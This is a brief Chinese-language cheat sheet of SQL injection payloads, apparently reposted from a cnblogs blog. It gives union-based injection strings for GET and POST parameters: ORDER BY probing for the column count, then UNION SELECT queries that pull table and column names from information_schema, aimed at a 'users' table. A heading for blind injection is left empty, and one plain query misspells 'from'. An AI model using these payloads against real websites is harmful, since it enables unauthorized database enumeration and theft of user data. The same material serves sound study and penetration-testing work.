sql注入之payload

/*
*GET，post
*有返回
*
*/
基于报错的SQL注入
1、获取字段数
' order by 5 --+
2、获取表名
0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
select group_concat(table_name) from information_schema.tables where table_schema=database()
3、获取字段
0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
select group_concat(column_name) form information_schema.columns where table_name='users'
/*
*GET，post
*无返回，无报错，
*
*/

来源：https://www.cnblogs.com/jiersixi/p/11784769.html